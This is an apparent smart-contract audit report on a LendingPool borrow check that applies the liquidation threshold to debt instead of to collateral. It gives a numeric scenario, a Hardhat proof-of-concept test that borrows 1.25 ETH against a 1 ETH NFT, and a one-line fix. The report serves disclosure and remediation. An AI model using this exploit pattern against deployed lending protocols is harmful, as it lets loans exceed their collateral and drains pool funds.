Summary
Due to an incorrect logic, the borrow
function in the LendingPool
contract allows users to borrow an amount that exceeds their collateral value and goes beyond the liquidation threshold.
Vulnerability Details
function borrow(uint256 amount) external nonReentrant whenNotPaused onlyValidAmount(amount) {
if (isUnderLiquidation[msg.sender]) revert CannotBorrowUnderLiquidation();
UserData storage user = userData[msg.sender];
uint256 collateralValue = getUserCollateralValue(msg.sender);
if (collateralValue == 0) revert NoCollateral();
ReserveLibrary.updateReserveState(reserve, rateData);
_ensureLiquidity(amount);
uint256 userTotalDebt = user.scaledDebtBalance.rayMul(reserve.usageIndex) + amount;
@> if (collateralValue < userTotalDebt.percentMul(liquidationThreshold)) {
revert NotEnoughCollateralToBorrow();
}
uint256 scaledAmount = amount.rayDiv(reserve.usageIndex);
(bool isFirstMint, uint256 amountMinted, uint256 newTotalSupply) = IDebtToken(reserve.reserveDebtTokenAddress).mint(msg.sender, msg.sender, amount, reserve.usageIndex);
IRToken(reserve.reserveRTokenAddress).transferAsset(msg.sender, amount);
user.scaledDebtBalance += scaledAmount;
reserve.totalUsage = newTotalSupply;
ReserveLibrary.updateInterestRatesAndLiquidity(reserve, rateData, 0, amount);
_rebalanceLiquidity();
emit Borrow(msg.sender, amount);
}
In the above code, before transferring RTokens to the user, the function checks if the following condition holds:
if (collateralValue < userTotalDebt.percentMul(liquidationThreshold))
If true, it reverts with NotEnoughCollateralToBorrow()
. However, this check contains a logic flaw.
Here is an example scenario :
User deposits an NFT worth 1 ETH.
User attempts to borrow 1.2 ETH.
userTotalDebt
is calculated as:
Next, the function checks:
userTotalDebt * 0.8 = 1.2e18 * 0.8 = 0.96e18
.
collateralValue = 1e18
(1 ETH), which is greater than 0.96e18.
Therefore, the borrow function will not revert.
With this logic the max borrowable amount formula is:
Here is a PoC that proves this scenario, add this test to LendingPool.test.js
:
describe("Borrow", function () {
it("should allow user to borrow more than collateral value", async function() {
await crvusd.connect(user1).approve(raacNFT.target, ethers.parseEther("1"));
await crvusd.mint(user1.address, ethers.parseEther("1"));
const nftPrice = ethers.parseEther("1");
const nftId = 2;
await raacHousePrices.setHousePrice(nftId, nftPrice);
await raacNFT.connect(user1).mint(nftId, nftPrice);
await raacNFT.connect(user1).approve(lendingPool.target, nftId);
await lendingPool.connect(user1).depositNFT(nftId);
const borrowAmount = ethers.parseEther("1.25");
await lendingPool.connect(user1).borrow(borrowAmount);
})
})
Impact
Under collateralized loans
Tools Used
Manual review
Recommendations
- if (collateralValue < userTotalDebt.percentMul(liquidationThreshold)) {
+ if (collateralValue.percentMul(liquidationThreshold) < userTotalDebt) {
revert NotEnoughCollateralToBorrow();
}